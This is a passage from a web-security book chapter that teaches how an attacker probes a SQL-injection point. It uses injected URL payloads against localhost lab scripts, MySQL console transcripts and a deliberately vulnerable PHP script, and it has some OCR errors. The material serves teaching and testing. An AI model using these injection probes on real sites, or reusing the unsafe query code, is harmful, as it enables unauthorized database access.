Investigating Queries

Suppose that the attacker has found a parameter vulnerable to SQL injection in a script by using one of the methods described in the previous section.

To exploit this vulnerability, the attacker needs to understand, in which SQL query he or she can embed malicious code.

The Type of Query

For certain types of database servers, the type of the query can be investigated.

In scripts available through HTTP to a remote user , the following four types of SQL queries are used most often:

  • select

  • insert

  • update

  • delete

It is easy to understand, which query is used in a particular case, by analyzing the logic of the vulnerable script and the meaning of the parameter inserted into an SQL query without appropriate filtration.

For example, if the script displays records corresponding to an identifier, the select database query is most likely.

If the script adds information to the database (e.g., accepts an order or adds a message to the forum), the insert database query is most likely.

If the script changes information (e.g., edits an order or a forum message or implements voting), the update database query is most likely.

If the script deletes information, you can be sure that there is the delete query. However, be aware that sometimes the record isn't deleted physically but is only marked as deleted. For example, the update query with the hidden=l parameter is likely.

A vulnerability in the select query is encountered most often.

Apostrophes and Quotation Marks in a Query

Suppose that the SQL injection vulnerability is in a script and it is likely that a non-filtered parameter is inserted into a query after the where keyword. Let the $id parameter be filtered inappropriately.

The attacker can suppose that the SQL query has one of the following structures:

  • select ... from ... where ... rowl = $id

  • select ... from ... where ... rowl = '$id'

At this stage, the attacker's main task is to clear up whether the id parameter is between apostrophes or quotation marks.

First, he or she needs to know whether these characters are screened with backslashes or not. When SQL error messages include erroneous queries, it is easy to find the answers to this question by sending requests to the server and examining error messages.

Consider an example.

http://localhost/3/5.php?id='abc"abc

Error when accessing the database:

select * from test1 where id=\'abc\"abc

You have an error in your SQL syntax near '\'abc\"abc' at line 1

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in x:\localhost\3\ll.php on line 27

records not found

In this example, the user makes an HTTP request to the vulnerable script with the id='abc"abc parameter. The error message allows the attacker to disclose the SQL query generated for this parameter. This is select * from testl where id=\'abc\"abc .

The attacker can infer that the value of the id parameter is not between apostrophes or quotation marks and that these characters are screened with backslashes.

It makes sense to test how the system responds to these characters. When the system is functioning normally, the value of the vulnerable parameter can be passed as a string that is neither an integer nor a fraction. In this case, the attacker can be sure that this parameter is between two apostrophes or quotation marks in the SQL query. This is because the value of this parameter in the SQL query can be sent only as a string, and strings in SQL should be between apostrophes or quotation marks.

Remember that integers and fractions may be between these characters or not. This depends on the type of the database server. Some servers prohibit apostrophes and quotation marks around numbers .

SQL servers that can cast any data type to any other type with minimum loss allow their users to enclose numeric values in apostrophes or quotation marks. MySQL is an example of such a server.

How can the attacker find answers to his or her questions when no error messages are displayed? I demonstrated earlier how the SQL injection vulnerability can be detected when the value of a possibly vulnerable parameter is inserted into the query without being between apostrophes or quotation marks.

When the SQL injection vulnerability is present but this situation wasn't disclosed, the attacker can draw the following conclusions:

  • The parameter value is between apostrophes or quotation marks. Otherwise, the method would reveal the opposite result.

  • The apostrophes or quotation marks aren't screened with backslashes. Otherwise, the SQL injection vulnerability wouldn't be there ( assuming this was proved using another method).

Now, suppose the SQL injection vulnerability is in a parameter that is not between apostrophes or quotation marks.

The attacker can clear up whether apostrophes or quotation marks are screened with backslashes from indirect evidence. For example, if the values of the received parameters are displayed somewhere on the same site and the attacker notices that the apostrophes, quotation marks, or both are screened in the displayed values, he or she can infer that these characters are most likely screened everywhere on the site.

However, an investigation of the SQL query can give a more precise answer. Earlier, I demonstrated the method of embedding mathematical expressions for detecting the SQL injection vulnerability. Now, I'd like to describe a method of embedding any functions and operations into an SQL query.

Suppose that the value of a parameter isn't between apostrophes or quotation marks. Query syntax allows you to add any logical operation to the parameter value separated with a space. For example, you can replace id=1123 with id=1123+AND+1 . Remember, the space character can be URL-encoded with a plus character or the %20 sequence.

Consider a few SQL queries and examine how such a change will affect the results:

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 36 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> select id, xid, value from test3 where xid=1123;    +----+------+--------------------------------+     id  xid   value                              +----+------+--------------------------------+     1   1123  a few possible values              +----+------+--------------------------------+    1 row in set (0.02 sec)    mysql> select id, xid, value from test3 where xid=1123 AND 1;    +----+------+--------------------------------+     id  xid   value                              +----+------+--------------------------------+      1  1123  a few possible values              +----+------+--------------------------------+    1 row in set (0.00 sec)    mysql> select id, xid, value from test3 where xid=1123 or id=3;    +----+------+--------------------------------+     id  xid   value                              +----+------+--------------------------------+      1  1123  a few possible values                3  1341  perhaps, a few possible values     +----+------+--------------------------------+    2 rows in set (0.00 sec)    mysql> select id, xid, value from test3 where xid=1123 OR 1 or id=3;    +----+------+--------------------------------+     id  xid   value                              +----+------+--------------------------------+      1  1123  a few possible values                3  1341  perhaps, a few possible values     +----+------+--------------------------------+    2 rows in set (0.00 sec)    mysql> select id, xid, value from test3 where (xid=1123) or (id=3);    +----+------+--------------------------------+     id  xid   value                              +----+------+--------------------------------+      1  1123  a few possible values                3  1341  perhaps, a few possible values     +----+------+--------------------------------+    2 rows in set (0.02 sec)    mysql> select id, xid, value from test3 where (xid=1123 AND 1) or    (id=3);    +----+------+--------------------------------+     id  xid  value                               +----+------+--------------------------------+      1  1123 a few possible values               1  3  1341 perhaps, a few possible values      +----+------+--------------------------------+    2 rows in set (0.00 sec)    mysql> select id, xid, value from test3 where xid in (1123) ;    +----+------+--------------------------------+     id  xid   value                              +-----+-----+--------------------------------+      1  1123  a few possible values              +----+------+--------------------------------+    1 row in set (0.00 sec)    mysql> select id, xid, value from test3 where xid in (1123 AND 1);    Empty set (0.00 sec)    mysql> 

As you can see, embedding the AND 1 doesn't affect the result or cause syntax error messages in most cases. The reason is that the AND logical operation has higher priority than the OR logical operation, and the A AND 1 construction is equivalent to A . That is, this is an identical transformation.

The two last parameters are an exception. When the value of the received parameter is inserted into the xid in (...) construction, the query returns an empty result. Nevertheless, the syntax remains correct.

The 1123 AND I expression is evaluated as Boolean TRUE , which is then cast to the integer 1 . If the table contained a record with xid=l , this record would be displayed as the result of this query.

Note that this method will work on those SQL servers that cast value types because a Boolean construction is required to the right of the AND operator but 1 is actually placed. In servers that don't cast 1 to the Boolean TRUE , you must use the TRUE keyword. In this case, you could pass the id=1123+AND+TRUE value.

The attacker can embed any Boolean expressions to the right of AND , instead of 1 or TRUE , to discover how the server responds to various queries. This will allow him or her to disclose much information about the query and the database server.

For example, embedding the ('test'='test') construction will allow the attacker to know whether apostrophes are screened.

Look at how screening apostrophes affects the query result

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 61 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> select id, xid, value from test3 where xid=1123 AND 'test'='test';    +----+------+------------------------------+     id  xid   value                            +----+------+------------------------------+      1  1123  a few possible values            +----+------+------------------------------+    1 row in set (0.02 sec)    mysql> select id, xid, value from test3 where xid=1123 AND    \'test\'=\'test\';    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR 1064: You have an error in your SQL syntax. Check the manual    that corresponds to your MySQL server version for the right syntax to    use near '\'test\'=\'test\'' at line 1    mysql> 

Of course, the attacker will also test the server's response to quotation marks.

As you can see, if the server doesn't screen apostrophes with backslash characters, the syntax of the query remains correct and the result won't change and will coincide with the result of the query with the id=1123 AND 1 parameter.

If apostrophes are screened, the backslashes preceding them will cause a syntax error.

I described earlier how you can distinguish between queries that return an empty and a nonempty result. In most cases, you even don't need error messages to be displayed.

Embedding certain expressions after the AND operator can be useful when trying to discover the type of the database server. The attacker can embed certain server-specific functions into SQL queries. If the server under investigation doesn't return an error message as a response to a function specific to only one server type, this will indicate the server is of this particular type.

The attacker often can embed commands if they don't make the SQL query syntactically incorrect.

The number of opening parentheses can be found because any implementation of SQL in any database server will return a syntax error message to an SQL query that contains an unmatched closing parenthesis.

When exploiting this vulnerability, the attacker often needs to know how many opening parentheses precede the point, at which he or she intends to put a desired value of an improperly filtered parameter. To find the number of opening parentheses, the attacker can embed constructions such as the following until he or she receives the first syntax error message:

  • $id=1123+)+and+(l

  • $id=1123+))+and+((1

  • $id=1123+)))+and+(((l

  • $id=1123+))))+and+((((l

And so on.

If a syntax error message is returned to the first query, this will mean that no opening parentheses precede the vulnerable parameter. If the first query appears to be syntactically correct, then there is at least one opening parenthesis. A syntax error in the second query means there aren't two opening parentheses. If the first query is correct, therefore, only one opening parenthesis precedes the embedded value. This process can continue until an error is received.

Now, suppose that a script is vulnerable to SQL injection and that the parameter affected by the attacker is between apostrophes or quotation marks. The existence of the vulnerability proves that these characters are not screened, deleted, or filtered using another method. If apostrophes or quotation marks were filtered, the attacker wouldn't be able to overrun the string that is the value of the variable.

Suppose the attacker knows whether apostrophes or quotation marks enclose the parameter in the query. Only these characters will cause a syntax error in the SQL query.

Consider the following listing:

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 99 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> select * from test3 where xid='1123"sd';    Empty set (0.00 sec)    mysql> select * from test3 where xid='1123's'd';    ERROR 1064: You have an error in your SQL syntax. Check the manual    that corresponds to your MySQL server version for the right syntax to    use near 's'd'' at line 1    mysql> 

As you can see, an error emerges only when the character used to enclose the value is embedded. When the other character is embedded, an empty result is returned.

So, suppose that the SQL injection vulnerability is in the id parameter, its value is between apostrophes, and they aren't screened. Sending the id=ll23'+AND+ '1' = '1 parameter instead of id=1123 will allow the attacker to discover whether the vulnerability he or she is looking for exists.

If sending id=1123'+AND+' 1'=' 1 results in the same data as sending id=1123 , and if sending id=ll23'+AND+' 1'=' 2 results in an empty data set, the attacker can be sure that there is the SQL injection vulnerability. In addition, the value of the vulnerable parameter is between apostrophes, and they aren't filtered inside the parameter value.

Here are a few requests:

  • http://localhost/3/4.php?id=2

  • http://localhost/3/4.php?id=2'+AND+'1'='1

  • http://localhost/3/4.php?id=2'+AND+'1'='2

The second request returns the same result as the first one. However, the third request returns a message informing you that no records were found.

This test confirms the supposition about the structure of the query. In this example, the following queries are sent to the SQL server:

 su-2.05b# mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 2 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl;    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> select * from test1 where id='2';     +----+----------------------+     id  name                     +----+----------------------+      2  Tom Brown                +----+----------------------+    1 row in set (0.01 sec)    mysql> select * from test1 where id='2' AND '1'='1';    +----+----------------------+     id  name                     +----+----------------------+    1  2  Tom Brown                +----+----------------------+    1 row in set (0.02 sec)    mysql> select * from test1 where id='2' AND '1'='2';    Empty set (0.00 sec)    mysql> 

This is how an attacker can embed apostrophes or quotation marks to close the current string and open a new one so that the SQL query remains syntactically correct. Then, the attacker can put any functions valid in the current SQL implementation between the character that closes one string and the character that opens the next string.

An Example

Consider the http://localhost/3/12.php script. It takes the id GET parameter. Test how the script responds to valid parameters.

http://localhost/3/12.php?id=1123

a few possible values

http://localhost/3/12.php?id=1342

perhaps, a few possible values

As you can see, when a correct value of the id parameter is sent in an HTTP request, the script returns the corresponding database record. You can infer that the script makes only select queries to the database.

Test the script's response to values that don't correspond to any record in the database even though the query containing these values is syntactically correct.

http://localhost/3/12.php?id=9999999

records not found

http://localhost/3/12.php?id=-1

records not found

As you can see, a message informing you that no records were found is displayed.

Make a few more SQL queries to check the script for the SQL injection vulnerability:

  • http://localhost/3/12.php?id=1123'

  • http://localhost/3/12.php?id=llabc

  • http://localhost/3/12.php?id=abcd

  • http://localhost/3/12.php?id=abc"

All these requests result in SQL queries that display empty pages. This means that either the script generates erroneous SQL queries, and nothing is output to the browser, or the script performs filtration.

If the parameter was a character string between apostrophes or quotation marks, the second and third requests would result in correct SQL queries that possibly return empty results. Therefore, if the vulnerability is present, the value of the variable you can affect is unlikely to be between apostrophes or quotation marks. Embedding mathematical expressions instead of the original parameter value can prove the SQL injection vulnerability in this case.

http://localhost/3/12.php?id=1123

a few possible values

http://localhost/3/12.php?id=1124

records not found

http://localhost/3/12.php?id=1124-1

a few possible values

As I demonstrated earlier, this behavior of a script indicates that there is the SQL injection vulnerability and that the parameter isn't between apostrophes or quotation marks.

Test whether you can embed Boolean expressions into the query.

The previous examples vividly demonstrate how the system responds to an error in an SQL query: It returns an empty HTML page. Remember, if the SQL server returns an empty data set, the system outputs that no records are found.

http://localhost/3/12.php?id=1123+AND+1

a few possible values

http://localhost/3/12.php?id=1123+AND+0

records not found

So, you (and the attacker) can be sure that the script is vulnerable to the SQL injection.

When the attacker knows there is the SQL injection vulnerability, he or she is likely to test whether apostrophes and quotation marks are screened with backslashes. He or she will send HTTP requests like the following:

http://localhost/3/12.php?id=1123+AND+1=1

a few possible values

http://localhost/3/12.php?id=1123+AND+'test'='test'

<empty page>

http://localhost/3/12.php?id=1123+AND+"test"="test"

<empty page>

http://localhost/3/12.php?id=1123+AND+"222"="222"

<empty page>

http://localhost/3/12.php?id=1123+AND+'222'='222'

<empty page>

The results of these requests indicate that only the first request gives a correct SQL query; therefore, apostrophes and quotation marks are filtered.

If the script just deletes these characters, the last two requests won't result in erroneous SQL queries because they would be identical to the following request, which doesn't cause errors.

http://localhost/3/12.php?id=1123+AND+222=222

a few possible values

The conclusion is that apostrophes and quotation marks are filtered but not deleted.

Now, the attacker needs to find how many opening parentheses there are in the query before the vulnerable parameter. He or she would perform the following series of HTTP requests:

  • http://localhost/3/12.php?id=1123+)+AND+(1

  • http://localhost/3/12.php?id=1123+))+AND+((1

  • http://localhost/3/12.php?id=1123+)))+AND+(((1

  • http://localhost/3/12.php?id=1123+))))+AND+((((1

As with the http://localhost/3/12.php?id=1123 request, the first and second requests in this series return a normal result. The third request returns an empty page. As I demonstrated earlier, this indicates a syntax error in the corresponding SQL query.

Because the first and second requests don't result in syntax errors, at least two opening parentheses precede the point, at which the test data are embedded into the id parameter. The error emerging in the third request means no third opening parentheses precedes this point.

So, there are only two opening parentheses, and the SQL query looks as follows :

 select ... from ... where ... (... (... rowl=$id ...) ...) ... 

Now, I'm going to show you the code of the investigated script to demonstrate that all the previous suppositions are true.

http://localhost/3/12.php

 <?   if(empty($id))   {   echo "   <form>   Enter the record ID (integer): <input type=text name=id><input type=submit>   </form>   ";   exit;   };   mysql_connect("localhost", "root", "");   mysql_select_db("bookl");   $id=$_GET["id"];   $id=addslashes($id);   $sq="select * from test3 where (1 and 1) and ((1=2 or xid=$id) and 1)";   $q=mysql_query($sq);   $e=mysql_error();   if(!empty($e))   {    exit;   }   if($r=mysql_fetch_object($q))     echo $r->value;   else echo "records not found";  ?>  

The $id=addslashes($id) ; construction adds backslashes to the value of the $id variable before it is inserted into the SQL query. The if (! empty ($e)) {exit;} ; construction interrupts the script execution but prevents error messages from being output when an error is in an SQL query. As a result, an empty HTML page is returned to an erroneous query.

The generated query is as follows:

 select  *  from test3 where (1 and 1) and ((1=2 or xid=$id) and 1) 

This should meet your expectations. The value of the $id variable isn't between apostrophes or quotation marks, and exactly two opening parentheses precede it that aren't matched by closing parentheses.

Now that you know the original SQL query, look at the queries sent to the database in the previous examples:

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 83 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> -- http://localhost/3/12.php?id=1123    mysql> select *from test3 where (1 and 1) and ((1  =  2 or xid=1123) and 1);    +----+------+--------------------------------+     id  xid   value                              +----+------+--------------------------------+      1  1123  a few possible values              +----+------+--------------------------------+    1 row in set (0.02 sec)    mysql> -- http://localhost/3/12.php?id=1342    mysql> select * from test3 where (1 and 1) and {(1  =  2 or xid=1342) and 1);    +----+------+--------------------------------+     id  xid   value                              +----+------+------------------------------  +      2  1342  perhaps, a few possible values     +----+------+--------------------------------+    1 row in set (0.00 sec)    mysql> -- http://localhost/3/12.php?id=9999999    mysql> -- http://localhost/3/12.php?id=-l    mysql> select * from test3 where (1 and 1) and {(1=2 or xid=9999999) and 1);    Empty set (0.00 sec)    mysql> select * from test3 where (1 and 1) and {(1=2 or xid=-l) and 1);    Empty set (0.00 sec)    mysql> -- http://localhost/3/12.php?id=1123'    mysql> -- http://localhost/3/12.php?id=11abc    mysql> -- http://localhost/3/12.php?id=abcd    mysql> -- http://localhost/3/12.php?id=abc"    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123\') and 1);    ERROR:    Unknown command ' \' ' .    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    '\') and 1)' at line 1    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=11abc) and 1);    ERROR 1054: Unknown column 'llabc' in 'where clause'    mysql> select * from test3 where (1 and 1) and ((1  =  2 or xid=abcd) and 1);    ERROR 1054: Unknown column 'abcd' in 'where clause'    mysql> select * from test3 where (1 and 1) and ((1  =  2 or xid=1123\") and 1);    ERROR:    Unknown command '\"'    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    '\") and 1)' at line 1    mysql> -- http://localhost/3/12.php?id=1123    mysql> -- http://localhost/3/12.php?id=1124    mysql> -- http://localhost/3/12.php?id=1124-1    mysql> select * from test3 where (1 and 1) and ((1  =  2 or xid=1123) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1124) and 1);    Empty set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1124-l) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> -- http://localhost/3/12.php?id=1123+AND+l    mysql> -- http://localhost/3/12.php?id=1123+AND+0    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1124-1) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123 AND 1) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123 AND 0) and 1);    Empty set (0.00 sec)    mysql> -- http://localhost/3/12.php?id=1123+AND+l=1    mysql> -- http://localhost/3/12.php?id=1123+AND+'test'='test'    mysql> -- http://localhost/3/12.php?id=1123+AND+"test"="test"    mysql> -- http://localhost/3/12.php?id=1123+AND+'222'='222'    mysql> -- http://localhost/3/12.php?id=1123+AND+"222"="222"    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123 AND 1=1) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123 AND    \'test\'=\'test\') and 1);    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    '\'test\'=\'test\') and 1)' at line 1    mysql> select * from test3 where (1 and 1) and {{1=2 or xid=1123 AND    \"test\"=\"test\") andl);    ERROR:    Unknown command '\'".    ERROR:    Unknown command '\'".    ERROR:    Unknown command '\'".    ERROR:    Unknown command '\'"    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    '\"test\"=\"test\") and 1)' at line 1    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123 AND    \'222\'=\'222\') and 1);    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR:    Unknown command '\''.    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    '\'222\'=\'222\') and 1)' at line 1    mysql> select * from test3 where (1 and 1) and {{1=2 or xid=1123 AND    \"222\"=\"222\") and 1);    ERROR:    Unknown command '\'".    ERROR:    Unknown command '\'".    ERROR:    Unknown command '\'".    ERROR:    Unknown command '\'".    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    '\"222\"=\"222\") and 1)' at line 1    mysql>  http://localhost/3/12.php?id=1123+)+AND+(1    mysql>  http://localhost/3/12.php?id=1123+))+AND+((1    mysql>  http://localhost/3/12.php?id=1123+)))+AND+(((1    mysql>  http://localhost/3/12.php?id=1123+))))+AND+((((1    mysql> select * from test3 where (1 and 1) and {{1=2 or xid=1123) AND    (1) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) AND    ((1) and 1);    +----+------+------------------------+     id  xid   value                      +----+------+------------------------+      1  1123  a few possible values      +----+------+------------------------+    1 row in set (0.00 sec)    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123))) AND    (((1) and 1);    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    ') AND (((1) and 1)' at line 1    mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)))) AND    ((((1) and 1);    ERROR 1064: You have an error in your SQL syntax. Check the manual that    corresponds to your MySQL server version for the right syntax to use near    ')) AND ((((1) and 1)' at line 1    mysql> 

As you can see, the actual SQL questions agree with what you should have expected.

These methods can be used to detect the SQL injection vulnerability and discover the query type in any script for any type of SQL server.

The procedure for detecting the vulnerability and obtaining information about the query doesn't depend on the type of database that the script is accessing.

However, when the attacker exploits the vulnerability, he or she uses specific features of the database server. Therefore, exploitation of the vulnerability is different for different types of SQL servers.

In addition, there are other server-specific methods for obtaining information about the query, the database structure, and so on.

After the attacker obtains the minimum information about the query, he or she will try to learn more about the database and the database server, in particular, the type and version of the server. With this information, the attacker can create malicious queries so that the SQL server performs actions he or she needs.



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net